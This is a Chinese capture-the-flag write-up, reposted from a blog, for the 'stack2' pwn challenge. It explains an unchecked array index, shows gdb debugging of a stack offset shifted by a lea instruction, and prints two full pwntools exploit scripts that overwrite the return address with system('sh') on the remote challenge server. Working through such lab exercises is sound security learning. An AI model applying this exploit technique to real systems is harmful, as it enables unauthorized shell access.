ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

2021-10-14 14:02:45  阅读:182  来源: 互联网

标签:lea sendlineafter number write offset pwn stack2 change


Stack2

请添加图片描述

这题废话很多,说白了就一个数组越界的漏洞可以利用,没有对下标v5做限定,所以可以利用数组越界,直接越过canary,利用留下的后门getshell

请添加图片描述

刚开始看ida以为位移是0x74所以exp如下

from pwn import *

p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'

hackhere = [0x9b, 0x85, 0x04, 0x08]
write_offset = 0x74

def change_number(offset, value):
    p.sendlineafter(b'5. exit\n', b'3')
    p.sendlineafter(b'which number to change:', str(offset).encode())
    p.sendlineafter(b'new number:', str(value).encode())

p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')

for i in range(4):
    change_number(write_offset+i, hackhere[i])


p.sendlineafter(b'5. exit\n', b'5')

p.interactive()

然而没啥用

最后从ida知道ret之前的lea指令对栈帧做了调整,所以进gdb调试一下

断点下在shownum那里,然后输入数字7,然后n一步步向下看,发现eax使我们输入的数字,edx指向我们输入的7,所以edx的地址是数组首地址,为0xffffd148

请添加图片描述

然后重新来一遍,把断点下到0x080488EF,也就是lea指令

请添加图片描述

发现lea指令完之后会给esp加0x10,然后我们n一下,执行一条指令看看请添加图片描述

发现esp变成了0xffffd1cc,确实加了0x10

也就是0xffffd1cc -0xffffd148 = 0x84,比原来的偏移多了0x10,果然是lea指令调整了栈帧

然后就可以写exp了,不过发现这个后门用不了,不信你可以试试看,会发现找不到bash,但是有字符sh可以让我们查找

请添加图片描述

我们用第一个0x08048987就行了,然后system函数也存在,所以可以getshell

然后可以写exp了,要注意小端存储还有x86下的参数位置

from pwn import *

p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'

system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x89, 0x04, 0x08]  # 0x08048987
write_offset = 0x84

def change_number(offset, value):
    p.sendlineafter(b'5. exit\n', b'3')
    p.sendlineafter(b'which number to change:', str(offset).encode())
    p.sendlineafter(b'new number:', str(value).encode())

p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')

for i in range(4):
   change_number(write_offset+i, system_addr[i])

write_offset += 8
for i in range(4):
   change_number(write_offset+i, sh_addr[i])

p.sendlineafter(b'5. exit\n', b'5')

p.interactive()

然后就拿到flag了

标签:lea,sendlineafter,number,write,offset,pwn,stack2,change
来源: https://blog.csdn.net/Gtooler/article/details/120762508

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有